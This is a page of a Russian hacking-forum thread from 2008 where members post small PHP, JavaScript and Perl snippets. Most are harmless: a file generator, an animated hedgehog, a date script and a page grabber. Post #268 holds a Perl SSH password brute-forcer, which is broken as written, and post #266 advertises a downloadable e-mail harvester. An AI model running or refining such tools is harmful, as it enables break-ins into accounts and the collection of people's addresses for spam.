ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #261  
Старый 03.01.2008, 16:46
Аватар для Mobile
Mobile
Регистрация: 18.02.2006
Сообщений: 1,090
Провел на форуме:
6489333

Репутация: 1564


Отправить сообщение для Mobile с помощью ICQ
По умолчанию

поищи по форуму, кто то точно писал... ток непомню кто
 
Ответить с цитированием

Скрипт создания пустых файлов
  #262  
Старый 05.01.2008, 20:09
Аватар для -=lebed=-
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


По умолчанию Скрипт создания пустых файлов

Так как тему удалили, выложу сюда, чтоб вопросов таких больше не возникало:
PHP код:
<?
set_time_limit
(0);
$limit=100// предельное колличество файлов
for ($i 1$i <= $limit$i++)
{
$fp fopen ("$i.txt""w");
fclose($fp);
}
?>

Последний раз редактировалось -=lebed=-; 05.01.2008 в 20:19..
 
Ответить с цитированием

  #263  
Старый 13.01.2008, 21:44
Аватар для GrAmOzEkA
GrAmOzEkA
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
Провел на форуме:
2052669

Репутация: 178
По умолчанию

Ёжик бегающий на сайте

index.html
Код:
<script language="JavaScript1.2" src=ezjik.js></script>
<script language="JavaScript1.2">

if (flag) {
	content = '';
	createLayer('cnt', 0, 0, true, content);
	var num = 10;
	var flakes = new Array(num);
	for (var i = 0; i < num; i++) {
		flakes[i] = new Flake('flake' + i);
		content = '<img src="egw' + i + '.gif" alt="А_ёжик_то_бежит_' + i + '" border=0 width=15 height=21></a>';
		createLayer(flakes[i].name, 0, 0, false, content);
	}
startFlakes();
}
</script>
ezjik.js
Код:
var bV=parseInt(navigator.appVersion);
var ns=(document.layers) ? 1 : 0;
var ie=((document.getElementById) && (bV >= 4)) ? 1 : 0;
var ff = ((navigator.appName == "Netscape") && (bV >= 5)) ? 1 : 0;
var flag = (ns || ie) ? 1 : 0;
var timerID;
var timerIDl;
var timerIDr;
var kurs = -0.5;
var nomer = 0;
var lasta = 8;
var egx = 0;
var egy = 0;
var egvx = 4;
var egvy = 2;
var tut = 200;

var vmin = 1;
var vmax = 10;
var vr = 5;


function createLayer(name, left, top, visible, content) {
	var layer;
	if (ns) {
		document.writeln('<layer name="' + name + '" left=' + left + ' top=' + top + ' width=120 height=84 visibility=' + (visible ? '"show"' : '"hide"') + '>');
		document.writeln(content);
		document.writeln('</layer>');
		layer = getLayer(name);
		layer.width = 120;
		layer.height = 84;
	}
	if (ie) {
		document.writeln('<div id="' + name + '" style="position:absolute; left:' + left + 'px; top:' + top + 'px; width:120px; height:84px; visibility:' + (visible ? 'visible;' : 'hidden;') + '">');
		document.writeln(content);
		document.writeln('</div>');
	}
}

function Flake(chipname) {	this.name = chipname; }

function startFlakes() {
	if (!flag) { return; }
	var i;
	getWindowSize();
			egx = pageW * Math.random() + pageX;
	   	egy = pageH * Math.random() + pageY;
	for (i = 0; i < flakes.length; i++) {
		moveLayer(flakes[i].name, egx, egy);
		hideLayer(flakes[i].name);
  	}
	buzz();
}

function moveLayer(name, x, y) {
	var layer = getLayer(name);
	if (ns) { layer.moveTo(x, y); }
	if (ie) { layer.left = x; layer.top  = y; }
}

function showLayer(name) {
	var layer = getLayer(name);
	if (ns) { layer.visibility = "show"; }
	if (ie) { layer.visibility = "visible"; }
}

function hideLayer(name) {
	var layer = getLayer(name);
	if (ns) { layer.visibility = "hide"; }
	if (ie) { layer.visibility = "hidden"; }
}


function getLayer(name) {
	if (ns) {
		return(document.layers[name]);
	} else if (ie) {
		layer = eval('document.getElementById("' + name + '").style');
		return(layer);
	} else {
		return(null);
	}
}

function getWindowSize() {
	if(ns || ff) {
		pageX=window.pageXOffset;
		pageW=window.innerWidth - 20 - 120;
		pageY=window.pageYOffset;
		pageH=window.innerHeight - 8 - 84;
		if (ff) pageH -= 4;
	} else {
		pageX=document.body.scrollLeft;
		pageW=document.body.offsetWidth - 20 - 120;
		pageY=document.body.scrollTop;
		pageH=document.body.offsetHeight - 8 - 84;
	} } 


function buzz() {

	hideLayer(flakes[ lasta ].name);
	getWindowSize();
	egx += egvx*kurs*6;
	egy += egvy*2;
	if(egy >= pageY + pageH) { egvy *= -1; egy = pageY + pageH; }
	if(egy <= pageY) { egvy = egvy *= -1; egy = pageY; }
	if (egx < pageX) { egx = pageX; }
	if (egx > pageX + pageW) { egx = pageX + pageW; }
		
	egvx += vr * (Math.random()-0.5);
	if(egvx > vmax)  { egvx = vmax*2 - egvx; }
	if(egvx < vmin) { egvx = vmin*2 - egvx; }
	egvy += (Math.random()-0.5);
	if((egvy > (vmax/2))||(egvy < (-vmax)/2))  { egvy = 0; }
	
	if (	(Math.random() > 0.96) || (egx <= pageX) || (egx >= pageX + pageW)	)
	{
	  showLayer(flakes[ lasta ].name);
	  kurs *= -1;
	  timerID = setTimeout("buzz()", tut*2);
	  
	  if (kurs < 0)
	  	{
	  buzr();
	  timerIDr = setTimeout("buzl()", tut);
	   }
	   else
	   {	  
	  buzl();
	  timerIDr = setTimeout("buzr()", tut);
	   }
   }

	else 
	
	{	
		nomer = nomer + 2;
   	if ( nomer >= 8 ) { nomer = nomer - 8; }	
   	lasta = nomer + 0.5 + kurs;
		moveLayer(flakes[ lasta ].name, egx, egy);
		showLayer(flakes[ lasta ].name);	
		timerID = setTimeout("buzz()", tut);		
	}	
}


function buzl() {
   hideLayer(flakes[ lasta ].name);
	lasta = 8;
   moveLayer(flakes[ lasta ].name, egx, egy);
	showLayer(flakes[ lasta ].name);	
}

function buzr() {
   hideLayer(flakes[ lasta ].name);
   lasta = 9;
	moveLayer(flakes[ lasta ].name, egx, egy);
	showLayer(flakes[ lasta ].name);	
}
Картинки с ёжиком http://slil.ru/25352370
 
Ответить с цитированием

  #264  
Старый 13.01.2008, 22:08
Аватар для Ali_MiX
Ali_MiX
Постоянный
Регистрация: 08.10.2006
Сообщений: 445
Провел на форуме:
1028732

Репутация: 80
Отправить сообщение для Ali_MiX с помощью ICQ Отправить сообщение для Ali_MiX с помощью Yahoo
По умолчанию

Дата + время)
Код:
<SCRIPT type="text/javascript">
var months=new Array(13);
months[1]="января";
months[2]="февраля";
months[3]="марта";
months[4]="апреля";
months[5]="мая";
months[6]="июня";
months[7]="июля";
months[8]="августа";
months[9]="сентября";
months[10]="октября";
months[11]="*ноября";
months[12]="декабря";
var time=new Date();
var lmonth=months[time.getMonth() + 1];
var date=time.getDate();
var year=time.getYear();
var hours=time.getHours();
var minutes=time.getMinutes();
if (eval(hours) <10) {hours="0"+hours}
if (eval(minutes) < 10) {minutes="0"+minutes}
if (year < 2000)
year = year + 1900;
document.write("Сейчас: " + date + " ");
document.write(lmonth + " " + year + ", " + hours + ":" + minutes + " ");
</SCRIPT>
 
Ответить с цитированием

  #265  
Старый 14.01.2008, 18:56
Аватар для Корвин
Корвин
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме:
302951

Репутация: 67
Отправить сообщение для Корвин с помощью ICQ
По умолчанию

Нужно поверх картинки поместить URL сайта
тут есть пример http://www.codenet.ru/webmast/php/Image-Resize-GD/ - но текст нельзя каким-то образом позиционировать на картинке
 
Ответить с цитированием

  #266  
Старый 15.01.2008, 01:26
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

В общем не помню, кому именно спасибо за идею (не смог найти), но используя скелет кода, написал прогу для парсинга e-mail с форумов (не судит строго, первый опыт на php, но работает, как не странно), итак:

Forum e-mail parser - e-mail парсер с форумов. Принцип работы - парсит всё мыло с любого вида форумов, но при условии, что вам известны стартовая страница интересующей темы форума и конечная страница интересующей темы форума и динамически изменяющейся величиной в ссылке является ПОСЛЕДНИЙ символ. Пример: http://www.бла-бла-бла.ru/viewtopic.php?t=5821, где 5821 - номер интересующей вас страницы.
В комплекте идут 5 файлов:
1. fmailparser1.0.exe - сама программа
2. url.txt - сюда забиваете url интересующго форума без номера страницы, если посмотреть выше, то:
http://www.бла-бла-бла.ru/viewtopic.php?t=
3. pages_start.txt - сюда забиваете номер страницы, с которой хотите начать сканирование на e-mail. В данном случае -
5821
4. pages_end.txt - сюда забиваете номер последней страницы для сканирования. Например:
5822
5. ReadmeFIRST.txt - этот файл
Просто создайте отдельную директорию, распакуйте туда все 5 файлов, сделайте необходимые настройки и запустите fmailparser1.0.exe и все найденные e-mail будут сохранены в файл emails.txt ( 0,5 мГб )

Еще раз прошу прощения за то, что не смог вспомнить автора идеи, но риспект огроменный.

В архиве лежит пример с реальными параметрами. Просто запустите fmailparser1.0.exe и поймете суть проги.

Скачать здесь: http://pashkela.narod.ru/progi/fmailparser1.0.rar

Последний раз редактировалось Pashkela; 15.01.2008 в 01:35..
 
Ответить с цитированием

чистилка кода
  #267  
Старый 15.01.2008, 17:55
Аватар для Корвин
Корвин
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме:
302951

Репутация: 67
Отправить сообщение для Корвин с помощью ICQ
По умолчанию чистилка кода

для случаев когда есть грязный код, который в ручную неудобно чистить, написал скрипт(он еще много для чего пригодица)
PHP код:
$dirty '</td>
</tr>
</table>
<table>
        <tr>
            <td class="content">код который нужен</td>
        </tr>
</table>'
;
$n strpos($dirty,'<table'); //считаем кол-во символов от начала кода до нужного нам места
$clear substr($dirty$n);//берем код начиная с символа $n до конца
$clear // - готово 
у меня был массив набитый такими таблицами с херней в коде,этим скриптом очистил
 
Ответить с цитированием

  #268  
Старый 15.01.2008, 21:58
Аватар для heks
heks
Постоянный
Регистрация: 24.08.2007
Сообщений: 474
Провел на форуме:
1484154

Репутация: 126
Отправить сообщение для heks с помощью ICQ
По умолчанию

незнаю точно выкладывали ли тут бруте shh если нет то вот он



#!/usr/bin/perl
#c0dex by m0x.lk || ~censored~ Team ||
system ("clear");
system ("cls");
system ("color 02");
print "\n\n";
print "\t\t\tc0dex by m0x.lk\n\n";
print "\tm0x.lk || ~censored~ Team";
print "\t\t BruteSSH by m0x.lk\n";
sleep 1;

use strict();
use Net::SSH;

$host=$ARGV[0];
$user=$ARGV[1];
$passdict=$ARGV[2] || die "\n[+]Perl Usage: BruteSSH.pl host user dict\n";
print "\n\n";
$i = 1;
open (D,"<$passdict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
chomp $try;

$t = my $ssh = Net::SSH::Perl->new($host,debug=>1,use_pty=>1);
$ssh->login($user, $try);
print "\n";
print "[+] Obteniendo Pass";
print "\n";
print $i++ . ": Fallo - $try\n";

print "'$try - $i intentos";
last;
$t->close;
}
close(IN);
 
Ответить с цитированием

  #269  
Старый 16.01.2008, 22:41
Аватар для Корвин
Корвин
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме:
302951

Репутация: 67
Отправить сообщение для Корвин с помощью ICQ
Post

функция меняет кусок кода или текста, выделенный вами, на то что хотите:
функция:
PHP код:
<?
function replacer($a$start$end$replacement)
{
        if (
is_array ($a))
    {
        for (
$i=0$i<count($a); $i++)
        {
    
$result[] = preg_replace('!'.$start.'(.*?)'.$end.'!si'$replacement$a[$i]);
        }
    }
        else
    {
    
$result preg_replace('!'.$start.'(.*?)'.$end.'!si'$replacement$a);
    }
return 
$result;
}
?>
использование:
PHP код:
<?
$a 
'привет, меня зовут Корвин'//текст или массив в котором нужно произвести замену, если массив то без ' '
$start 'меня'//начало заменяемого, это может быть символ или слово, оно тоже будет заменено
$end 'зовут'//конец заменяемого
$replacement 'йа'//то, на что меняем, если на пустоту, то ставим ' '

$str replacer($a$start$end$replacement); // готово, измененный текст помещен в $str
echo $str;
//print_r ($str); //если массив
?>
если пригодица,подкиньте репы=)
 
Ответить с цитированием

  #270  
Старый 17.01.2008, 13:50
Аватар для D0S
D0S
Познающий
Регистрация: 06.01.2007
Сообщений: 44
Провел на форуме:
215597

Репутация: 32
По умолчанию

Мой первый сексуальный опыт с пхп.
Граббер радиостанций с shoutcast.org
PHP код:
<table cellpadding="0" cellspacing="0" style="border:1px solid #000000">
<tr>
<th>
<?
if (!$addr){
$EXTERNALPAGE importPage("http://www.shoutcast.com/directory/index.phtml?startat=0&numresult=30&s=gabber");
}
else {
$EXTERNALPAGE importPage($addr);
}
function 
importPage$addr ) {

  
$pattern1 '|(http://)([^/]*)/{0,1}(.*)|';
  
$base "";
  if (
preg_match($pattern1$addr$list)) {
    
$server "http://".$list[2];
    
$fullpath $list[3];
    
$pattern11 '|(.*)/([^/]*)$|';

    if ( 
preg_match($pattern11$fullpath$list) ) {
      
$path $list[1];
      
$fname $list[2];
    } else {
      
$path "";
      
$fname $fullpath;
    }
    if (
$path$path "/".$path;
    
$base $server.$path;
  }

  
$arr = @file($addr);
  if ( !
$arr ) return "Page not found!";
  
$str join""$arr );

  
$pattern2 '|<table border="0" cellpadding="0" cellspacing="0" align="center">(.*)<td nowrap align="center" width="10">|sei';
  if (
preg_match($pattern2$str$list)) $str $list[1];

  
$pattern3 =
    
'/(<img\s.*?src\s*=\s*("{0,1}))([^">]*)(\2[^>]*>)/sei';

  
$str preg_replace($pattern3,
    
"stripslashes((strpos('\\3','ttp:')<=0) ".
           
"?((strspn('\\3','/')<=0)".
             
"?'\\1$base/\\3\\4'".
             
":'\\1$server\\3\\4' )".
           
":'\\0')",
    
$str);

  
$pattern4 =
    
'/(<a\s.*?href\s*=\s*("{0,1}))([^">]*)(\2[^>]*>)/sei';
  
$str preg_replace($pattern4,
    
"stripslashes((strpos('\\3','ttp:')<=0)&&".
                 
"(strpos('\\3','ailto:')<=0) &&".
                 
"(Ord('\\3')!=Ord('#')) ".
           
"?((strspn('\\3','/')<=0)".
             
"?'\\1$base/\\3\\4'".
             
":'\\1$server\\3\\4' )".
           
":'\\0')",
    
$str);

$strstr_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=title&s=drum&numresult=30 "id="dirlinks">Description</a>''Description'$str);
$strstr_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=listeners&s=drum&numresult=30 "id="dirlinks">Listeners/Max</a>''Listeners / Max'$str);
$strstr_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=bitrate&s=drum&numresult=30 "id="dirlinks">Bitrate</a>''Bitrate'$str);
$strstr_replace('<a href="http://www.shoutcast.com/directory/index.phtml?orderby=content&s=drum&numresult=30 "id="dirlinks">Type</a>''Type'$str);

  return 
$str;
}

?>

<?= $EXTERNALPAGE?>
</th>
</tr>
</table>
ЗЫ. Щас я видоуроки с евгением поповым досмотрю еще че нить придумаю...
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ